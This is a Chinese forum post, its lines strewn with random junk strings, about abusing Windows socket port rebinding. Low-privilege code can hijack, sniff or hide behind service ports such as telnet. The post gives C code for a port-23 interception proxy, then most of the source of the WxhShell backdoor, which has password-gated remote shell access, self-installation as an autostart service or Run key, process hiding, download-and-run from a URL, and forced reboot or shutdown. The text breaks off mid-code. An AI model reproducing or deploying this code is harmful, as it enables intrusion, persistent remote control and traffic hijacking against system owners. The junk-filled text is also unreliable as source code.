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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 7{2knm^  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); bw ' yX  
xLPyV&j-  
  saddr.sin_family = AF_INET; 4L(axjMYU  
Cir==7A0  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 48Z{wV,  
kb Odg:  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); IX,/ZOZ|  
<$K%u?  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 zH.DyD5T;  
SzMh}xDh2  
  这意味着什么?意味着可以进行如下的攻击: <{JHFU`^  
A !x" *  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 8J7 xs6@  
]@)X3}"!  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) W:ih#YW_F  
%DbL|;z1  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 y!h$Z6.  
g < M\zD  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  OIe {Sx{y  
)UO:J7K  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ==l p\  
OXK?R\ E+  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ubjuuha"  
H*?U@>UU  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ?TLMoqmXM{  
dyC: Mko=  
  #include 3 8m5&5)1F  
  #include Y, )'0O  
  #include nxA Y]Q  
  #include    Z;P[)q  
  DWORD WINAPI ClientThread(LPVOID lpParam);   /#GX4&z  
  int main() 'RC(ss1G  
  { =;9Wh!{  
  WORD wVersionRequested; ?sfA/9"  
  DWORD ret; Nc ,"wA  
  WSADATA wsaData; D: NBb!   
  BOOL val; MLG%+@\  
  SOCKADDR_IN saddr; 4w}\2&=  
  SOCKADDR_IN scaddr; cAogz/<S  
  int err; !-m (1  
  SOCKET s;  S`)KC-  
  SOCKET sc; p3M)gH=N  
  int caddsize; QS4sSua  
  HANDLE mt; 7  g8SK  
  DWORD tid;   F<M#T  
  wVersionRequested = MAKEWORD( 2, 2 ); |K YONQ  
  err = WSAStartup( wVersionRequested, &wsaData ); pn{Mj  
  if ( err != 0 ) { h7)^$Hd  
  printf("error!WSAStartup failed!\n"); .DMeW i  
  return -1; G^ZL,{  
  } zQMsS  
  saddr.sin_family = AF_INET; a]>gDDF  
   7<<pP  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ;O}%_ef@  
Zz'(!h Uy  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); q&B'peT  
  saddr.sin_port = htons(23); 3J7TWOJVw  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) :_~UO^*h  
  { {OL*E0  
  printf("error!socket failed!\n"); u-=S_e  
  return -1; /J aH  
  } %M2.h;9]*\  
  val = TRUE; x$Ko|:-  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 $]<CC`  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ;cH|9m:Y  
  { W/<]mm~95  
  printf("error!setsockopt failed!\n"); w}c1zpa  
  return -1; fIu5d6;'  
  } N6S0(%  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; s4<[f%^  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 9x0B9&  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ( \{9W  
dQVV0)z  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) <*3{Twa1T  
  { )mz [2Sfg  
  ret=GetLastError(); d kHcG&)  
  printf("error!bind failed!\n"); BNw^ _j1  
  return -1; 16_HO%v->  
  } T;XEU%:LK  
  listen(s,2); @s}I_@  
  while(1) 7L|w~l7R~  
  { pk%I98! Jy  
  caddsize = sizeof(scaddr); ,%w_E[2  
  //接受连接请求 UTGR{>=>  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); OkGg4X|9  
  if(sc!=INVALID_SOCKET) 7Vr .&`l  
  { G(~d1%(  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); j0B, \A  
  if(mt==NULL) yv =LT~  
  { 8>RGmue  
  printf("Thread Creat Failed!\n"); {mY<R`Ee  
  break; s-Q-1lKV,  
  } eS8tsI  
  } ,>A9OTSN\  
  CloseHandle(mt); LzB)o\a  
  } ]:(>r&'  
  closesocket(s); GMU.Kt  
  WSACleanup(); $~`a,[e<  
  return 0; JR|yg=E  
  }   D|/Azy.[  
  DWORD WINAPI ClientThread(LPVOID lpParam) <mjH#aSy  
  { gQ3Co./  
  SOCKET ss = (SOCKET)lpParam; )tl=tH/$  
  SOCKET sc; */sVuD^b`  
  unsigned char buf[4096]; yw^t6E  
  SOCKADDR_IN saddr; _v{,vLH  
  long num; 6^F"np{w  
  DWORD val; RXh0hD  
  DWORD ret; kbJ/7  
  //如果是隐藏端口应用的话,可以在此处加一些判断 /6B!& b2f  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   @a#qq`b;  
  saddr.sin_family = AF_INET; VQ5T$,&  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); QDYS}{A:V  
  saddr.sin_port = htons(23); WCA`34(  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /Mb?dVwA  
  { `e .;P  
  printf("error!socket failed!\n"); ^)<>5.%1''  
  return -1; &&4av*\I  
  } JM!rop^  
  val = 100; 3P3x^NI  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) H$zjN8||"  
  { (C*G)Aj7  
  ret = GetLastError(); LH@)((bi4v  
  return -1; '31pb9@fH  
  } jv>l6)  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) E@^`B9 ;Q7  
  { yx"xbCc#  
  ret = GetLastError(); )28Jz6.I  
  return -1; osyY+)G'sV  
  } ,LKY?=T$z  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 7r 07N'  
  { ?6+GE_VZ  
  printf("error!socket connect failed!\n"); zB/$*Hd  
  closesocket(sc); sJg-FVe2  
  closesocket(ss); } R!-*Wk  
  return -1; 8fFURk  
  } #qWa[kB  
  while(1)  /s.sW l  
  { ftq&<8  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 y;<^[  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 XmXp0b7  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ,u^i0uOg  
  num = recv(ss,buf,4096,0); !31v@v:)  
  if(num>0) H>AQlO+J  
  send(sc,buf,num,0); 7\@[e, ^9  
  else if(num==0) hu%rp{m^,  
  break; G`!#k!&r  
  num = recv(sc,buf,4096,0); jG)fM?  
  if(num>0) _;3xG0+  
  send(ss,buf,num,0); 6 DqV1'  
  else if(num==0) &MsnQP  
  break; XFeHkU`C  
  } &:`T!n  
  closesocket(ss); 34_:.QK-  
  closesocket(sc); *L7 ZyERs  
  return 0 ; J7W]Str  
  } +C1/02ZJ  
}&sF \b  
+Wh0Of  
========================================================== -1d2Qed  
+Rn]6}5m\  
下边附上一个代码,,WXhSHELL w^e<p~i!^E  
9Slx.9f  
========================================================== Bm2"} =  
= zW}vm }  
#include "stdafx.h" Zm,<2BP>  
0][PL%3Z  
#include <stdio.h> 8X!^ 2B}J  
#include <string.h> KZUB{Y^)  
#include <windows.h> fw kX-ON  
#include <winsock2.h> $HT {}^B  
#include <winsvc.h> e8 4[B.  
#include <urlmon.h> [}q6bXM*  
;W,XP#{W  
#pragma comment (lib, "Ws2_32.lib") ^+tAgK2   
#pragma comment (lib, "urlmon.lib") (Em^qN  
&Q 7Q1`S  
#define MAX_USER   100 // 最大客户端连接数 Cp=DdmR  
#define BUF_SOCK   200 // sock buffer >Pj ?IE6  
#define KEY_BUFF   255 // 输入 buffer v?BX 4FO  
hZf0q 2  
#define REBOOT     0   // 重启 (@@t,\iF  
#define SHUTDOWN   1   // 关机 0*S]m5#;  
Gh}sk-Xk=  
#define DEF_PORT   5000 // 监听端口 IOmQ1X7,  
(b%&DyOt  
#define REG_LEN     16   // 注册表键长度 }wRHNBaEB  
#define SVC_LEN     80   // NT服务名长度 pYIm43r H  
VSP6osX{  
// 从dll定义API Wcd;B7OH  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); VCfa<hn  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); U|VF zpJ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); rdZk2\<  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )!J0e-T-8O  
$K>'aI;|  
// wxhshell配置信息 &Iv3_T<AF  
struct WSCFG { Uu ~BErEC  
  int ws_port;         // 监听端口 SE/GT:}  
  char ws_passstr[REG_LEN]; // 口令 _]:wltPv  
  int ws_autoins;       // 安装标记, 1=yes 0=no unu%\f>^4  
  char ws_regname[REG_LEN]; // 注册表键名 $}RBK'cr}  
  char ws_svcname[REG_LEN]; // 服务名 gBb+Q,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 }@%A@A{R  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,paD/  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 G6wBZ?)k  
int ws_downexe;       // 下载执行标记, 1=yes 0=no !j[Oy r|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" h}r64<Y2{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %K[_;8  
I:M]#aFD  
}; 6qg_&woJ3  
N GP}Z4  
// default Wxhshell configuration 9nF;$ HB  
struct WSCFG wscfg={DEF_PORT, DU(QQ53  
    "xuhuanlingzhe", w:%3]2c  
    1, `%_yRJd|;  
    "Wxhshell", gFlUMfKh  
    "Wxhshell", `Mx&,;x  
            "WxhShell Service", O2./?Ye  
    "Wrsky Windows CmdShell Service", A3D"b9<D  
    "Please Input Your Password: ", UkK`5p<D7  
  1, >__t 2  
  "http://www.wrsky.com/wxhshell.exe", uj#bK 7  
  "Wxhshell.exe" 7`-fN|  
    }; KY 085Fvs  
sbn|D\p  
// 消息定义模块 \`3YE~7J/  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "cSH[/  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 46`(u"RP  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";  ;LEO+,6  
char *msg_ws_ext="\n\rExit."; {]Tb  
char *msg_ws_end="\n\rQuit."; nP`#z&C  
char *msg_ws_boot="\n\rReboot..."; @vzv9c[  
char *msg_ws_poff="\n\rShutdown..."; ^y:!=nX^  
char *msg_ws_down="\n\rSave to ";  1t7vP;  
d7 |3A  
char *msg_ws_err="\n\rErr!"; i i&kfy  
char *msg_ws_ok="\n\rOK!"; /J{ e _a  
zIc%>?w  
char ExeFile[MAX_PATH]; j6x1JM  
int nUser = 0; ]M%kt+u!  
HANDLE handles[MAX_USER]; A/ppr.  
int OsIsNt; RMJq9a  
lS<T|:gz@  
SERVICE_STATUS       serviceStatus; u.W}{-+kp  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; d +0(H   
qQ\&]  
// 函数声明 V`:iu n^f  
int Install(void); x?T.ItW:K  
int Uninstall(void); JAPiR=  
int DownloadFile(char *sURL, SOCKET wsh); ;Z:zL^rvn  
int Boot(int flag); /S9s%scAy  
void HideProc(void); IJX75hE0g  
int GetOsVer(void); 'Pk1 4`/  
int Wxhshell(SOCKET wsl); es]S]}JV  
void TalkWithClient(void *cs); @~WSWlQW  
int CmdShell(SOCKET sock); z*,P^K 0T  
int StartFromService(void); rBNl%+ sB  
int StartWxhshell(LPSTR lpCmdLine); AcC'hr.N+  
D}4*Il?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); d@-s_gw  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); xF|P6GXg  
up`.#GWm  
// 数据结构和表定义 .CU~wB@h  
SERVICE_TABLE_ENTRY DispatchTable[] = /;P* ?  
{ |S0]qt?  
{wscfg.ws_svcname, NTServiceMain}, w]2tb  
{NULL, NULL} q]PeS~PjF\  
}; X{2))t%  
B,rpc\_  
// 自我安装 "p,TYjT?R  
int Install(void) `*?8<Vm  
{ g+CTF67  
  char svExeFile[MAX_PATH]; }<G"w 5.<  
  HKEY key; 2@!Ou$W  
  strcpy(svExeFile,ExeFile); U9N1 )3/u  
p\xi5z  
// 如果是win9x系统,修改注册表设为自启动 h$\+r<  
if(!OsIsNt) { /m#!<t7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u~ %xU~v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x.gRTR`7(  
  RegCloseKey(key); `{1` >5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { kl4u]MyL#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f~bZTf  
  RegCloseKey(key); #s"|8#  
  return 0; AH?T}t2  
    } NR98I7  
  } 5Z (1&  
} gie.K1@|  
else { JjO="Cmk/  
X MkyX&y  
// 如果是NT以上系统,安装为系统服务 ,V$PV,G  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); h7 uv0a~0  
if (schSCManager!=0) wXj!bh8\r  
{ bBwMx{iNNz  
  SC_HANDLE schService = CreateService #~ikR.-+Eq  
  ( F|Y}X|x8Q  
  schSCManager, <qGVOAnz+  
  wscfg.ws_svcname, ChVur{jR  
  wscfg.ws_svcdisp, >LqW;/&S<  
  SERVICE_ALL_ACCESS, :i{$p00 G  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , YG AB2`!U  
  SERVICE_AUTO_START, /K+GM8rtE  
  SERVICE_ERROR_NORMAL, L p(6K  
  svExeFile, JI&ik_k3  
  NULL, ]U9f4ODt  
  NULL, MSef2|"P#  
  NULL, .Ioj]r  
  NULL, +Ndo$|XCy]  
  NULL 8Xo`S<8VS  
  ); s#f6qj  
  if (schService!=0) I @sXmC2$\  
  { H2EKr#(  
  CloseServiceHandle(schService); c5KJ_Nfi  
  CloseServiceHandle(schSCManager); Z:TW{:lrI  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); X?3?R\/  
  strcat(svExeFile,wscfg.ws_svcname); CuS"Wj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .W[[Z;D  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); IdY\_@$ v  
  RegCloseKey(key); ,2*^G;J1  
  return 0; C3m](%?   
    } A4kYE A  
  } &DUt`Dr w  
  CloseServiceHandle(schSCManager); 0/r\#"+XT  
} F0&BEJBkU  
} 7&I+mw/X  
FNQR sNi  
return 1; 6[iuCMOZ  
} NTj:+z0  
N.j?:  
// 自我卸载 cwe@W PE2  
int Uninstall(void) CO+[iJ,4C+  
{ O-5s}RT  
  HKEY key; ^N{Lau  
qa|"kRCO  
if(!OsIsNt) { PA=.)8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *{/L7])gm  
  RegDeleteValue(key,wscfg.ws_regname); /Ah|Po  
  RegCloseKey(key); iJIDx9 )Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Hh|a(Zq,  
  RegDeleteValue(key,wscfg.ws_regname); O&ur |&v  
  RegCloseKey(key); 'yrU_k,h  
  return 0; bU(H2Fv  
  } zAr@vBfC%  
} |?a 4Nl?  
} FN-j@  
else { &s]wf  
R^nkcLFb/q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9)_fH6r  
if (schSCManager!=0) b[mAkm?9+1  
{ SI/@Bbd=  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); zmREzP#X  
  if (schService!=0) uTSTBI4t  
  { uude<d"U  
  if(DeleteService(schService)!=0) { <%@S-+D`]  
  CloseServiceHandle(schService); =f4v: j}'|  
  CloseServiceHandle(schSCManager); =*ZQGM3w  
  return 0; +`@)87O  
  } &7gL&AY8  
  CloseServiceHandle(schService); L `7~~  
  } 5LPyPL L  
  CloseServiceHandle(schSCManager); |~6X: M61  
} "cK@Yo  
} |C MKY  
wZ^ 7#yX>  
return 1; 4{[cXM8*j  
} |VY+!  
xj1FCT2  
// 从指定url下载文件 aN87^[  
int DownloadFile(char *sURL, SOCKET wsh) K1vm [Ne  
{ RsY7F;  
  HRESULT hr; 'h?;i2[  
char seps[]= "/"; p=tj>{  
char *token; W~TT`%[  
char *file; 2J^jSgr50d  
char myURL[MAX_PATH]; ;M<jQntqS{  
char myFILE[MAX_PATH]; p@/i e@DX  
("UzMr,  
strcpy(myURL,sURL); rQW&$M  
  token=strtok(myURL,seps); 3EM=6\#q  
  while(token!=NULL) `ViFY   
  { n+C,v.X  
    file=token; LLa72HW  
  token=strtok(NULL,seps); 3C=|  
  } L_3undy,  
#0i] g)  
GetCurrentDirectory(MAX_PATH,myFILE); ~@3X&E0S  
strcat(myFILE, "\\"); $m.e}`7SF!  
strcat(myFILE, file); c<'Pt4LY  
  send(wsh,myFILE,strlen(myFILE),0); Z+zx*(X  
send(wsh,"...",3,0); >bKN$,Qen  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); b~M3j&  
  if(hr==S_OK) b r"4 7i  
return 0; ?5%0zMC  
else oZ)\Ya=  
return 1; XT n`$}nz  
^>g7Kg"0  
} |{KZ<  
,ZVC@P,L  
// 系统电源模块 ]cz*k/*0  
int Boot(int flag) U1+X!&OCp  
{ Bf&,ACOf  
  HANDLE hToken; *?k~n9n5U  
  TOKEN_PRIVILEGES tkp; qqm7p ,j  
mOLP77(o  
  if(OsIsNt) { +m> %(?=A  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); t+R8{9L-  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); KUr}?sdz  
    tkp.PrivilegeCount = 1; R'#[}s  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;8Z\bHQ>  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); zi^T?<t  
if(flag==REBOOT) { M_o<6C  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )PM&x   
  return 0; qRD]Q  
} sknta 0^=2  
else { 5LT{]&`9  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) EF7Y4lp  
  return 0; {=(GY@yU/  
} p8%/T>hK  
  } PMDx5-{A/t  
  else { ]F,mj-?4x  
if(flag==REBOOT) { 07zbx6:t  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) X[ERlw1q4Q  
  return 0; ~*Fbs! ;,  
} /$'R!d5r  
else { ebbC`eFD  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) cU,]^/0Y  
  return 0; rt\i@}  
} E~=`Ac,G2  
} xMk0Xf'_  
^Vl{IsY  
return 1; DEGEr-  
} ,S|v>i, @  
NJEubC?  
// win9x进程隐藏模块 ] ~;x$Z)  
void HideProc(void) `@8QQB  
{ +="?[:  
F_m[EB  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ])dq4\Bw  
  if ( hKernel != NULL ) Up61Xn  
  { _N4G[jQLJ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &zl=}xeA  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); GqFDN],Wp  
    FreeLibrary(hKernel); ,tdV-9N[O  
  } UjNe0jt% s  
Ppw0vaJ^  
return; _m;#+`E  
} Vb0((c%&  
/cPe zX  
// 获取操作系统版本 :G&tM   
int GetOsVer(void) l{:7*U{d  
{ lyBae?%&  
  OSVERSIONINFO winfo; Q@]QPpe  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `0@onDQVc=  
  GetVersionEx(&winfo); /8Sg<  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) fc'NU(70c  
  return 1; faqOGAb  
  else (Rqn)<<2  
  return 0; 7*bUy)UZ  
} icq!^5BzL  
nLn3kMl4  
// 客户端句柄模块 d ] J5c  
int Wxhshell(SOCKET wsl) y{>d&M|  
{ 5iE-$,7#L  
  SOCKET wsh; alQMPQVin  
  struct sockaddr_in client; VdrqbZ   
  DWORD myID; OK{_WTCe>  
\,YF['Qq  
  while(nUser<MAX_USER) ),#%jc2_^  
{ <ID/\Qx`q  
  int nSize=sizeof(client); MfJ;":]O!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &5]&6TD6  
  if(wsh==INVALID_SOCKET) return 1; 0n5{Wr$  
B}Q.Is5  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); @dl{ .,J  
if(handles[nUser]==0) +RXKI{0Km  
  closesocket(wsh); /%E X4 W  
else s-V5\Lip,  
  nUser++; u:~2:3B  
  } RAw/Q$I  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); idWYpU>gC  
ZT*RD2,  
  return 0; Z=VAjJ;i[  
} Igowz7  
Z`L-UQJ .  
// 关闭 socket huj 6Ysr  
void CloseIt(SOCKET wsh) 9i hB;m'C)  
{ H_*;7/&  
closesocket(wsh); q*`1<9{H  
nUser--; 7(RtPL pZ  
ExitThread(0); A4Dj4n0  
} Gqe?CM  
11%<bmJ]Q3  
// 客户端请求句柄 ?`wO \>y  
void TalkWithClient(void *cs) X,m6#vLK2  
{ Y?cdm}:Ou  
X?m"86L  
  SOCKET wsh=(SOCKET)cs; V)[ta`9  
  char pwd[SVC_LEN];  V6opV&  
  char cmd[KEY_BUFF]; I[mlQmwsL.  
char chr[1]; }m!L2iK4qk  
int i,j; 3v~804kWB  
&e2|]C4  
  while (nUser < MAX_USER) { +n]z'pijb  
nE_g^  
if(wscfg.ws_passstr) { Ce: 2Tw  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U^ bF}4m  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %Vf3r9 z  
  //ZeroMemory(pwd,KEY_BUFF); @'go?E)f  
      i=0; 99GzhX_  
  while(i<SVC_LEN) { gXrPZ|iS  
r_m*$r~f  
  // 设置超时 -0Ws3  
  fd_set FdRead; Mf 7 Z5  
  struct timeval TimeOut; ={HYwP;  
  FD_ZERO(&FdRead); Lt\Wz'6Y  
  FD_SET(wsh,&FdRead); iUNlNl ?  
  TimeOut.tv_sec=8; a?_!  
  TimeOut.tv_usec=0; ;+d2qbGd  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #$vQT}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); f{s}[p~  
}n!$)W*?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P0 R8 f  
  pwd=chr[0];  t 0 $}  
  if(chr[0]==0xd || chr[0]==0xa) { ;,d^=:S6@  
  pwd=0; F+%6?2 J  
  break; s8i@HO  
  } (jR7D"I  
  i++; "])yV    
    } --t"X<.z  
ccUI\!TD{/  
  // 如果是非法用户,关闭 socket Y9YE:s  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); kU*Fif  
} ??X3teO{  
<4l;I*:2&  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [SnnOqWw  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wrORyj  
7/$r  
while(1) { Me*woCos'  
~"eQPTd  
  ZeroMemory(cmd,KEY_BUFF); XsOz {?G  
d7g3VF<j  
      // 自动支持客户端 telnet标准   GJpQcse%  
  j=0; ]@Gw$  
  while(j<KEY_BUFF) { #0;H'GO?c  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +(a}S$C  
  cmd[j]=chr[0]; h-0#h/u>M  
  if(chr[0]==0xa || chr[0]==0xd) { w6b\l1Z  
  cmd[j]=0; xN^ngRg0  
  break; ?^y!}(  
  } |j?iD  
  j++; M/!5r  
    } uA`EJ )d  
G54,`uz2  
  // 下载文件 _'CYS3-P3  
  if(strstr(cmd,"http://")) { J5i$D0K[  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); etcpto=Mo  
  if(DownloadFile(cmd,wsh)) BQ[,(T`+R  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); (z8^^j[  
  else fga{ b7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &]d-R  
  } a$}n4p  
  else { cJIA/HQe  
u]<7}R@s  
    switch(cmd[0]) { oRp;9   
  khXp}p!Zm  
  // 帮助 =N,ahq  
  case '?': { g8+Ke'=_  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); s":\ >  
    break; [/P}1 c[)U  
  } AK$h S M  
  // 安装 ~s$ jiA1  
  case 'i': { JPs R7f  
    if(Install()) IJ#G/<ZJZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _^Ds[VAgA  
    else )&jE<C0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); { \r1A  
    break; 0=WZ 8|R  
    } Q!%C:b  
  // 卸载 {c#{dT  
  case 'r': { 8!{;yz  
    if(Uninstall()) 5.]eF$x2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e9F\U   
    else a>_Cxsb&`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |I0O|Zdv  
    break; q?9x0L  
    } RV%aFI )  
  // 显示 wxhshell 所在路径 Ao2m"ym  
  case 'p': { 49e~/YY  
    char svExeFile[MAX_PATH]; _0razNk  
    strcpy(svExeFile,"\n\r"); r[u@ [  
      strcat(svExeFile,ExeFile); Nt>wzPd)  
        send(wsh,svExeFile,strlen(svExeFile),0); sKIpL(_I$  
    break; 2r 0u[  
    } bD: yu  
  // 重启 1@i 8ASL  
  case 'b': { U\<8}+x  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &EZq%Sd  
    if(Boot(REBOOT)) s#nd:$p3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +"~~; J$  
    else { }3}{}w0Y  
    closesocket(wsh); }mhD2'E  
    ExitThread(0); J&vmW}&  
    } |afzW=8'  
    break; [~%\:of70n  
    } <"&I'9  
  // 关机 o<pb!]1  
  case 'd': { G`Ix-dADJm  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \W;+@w|c  
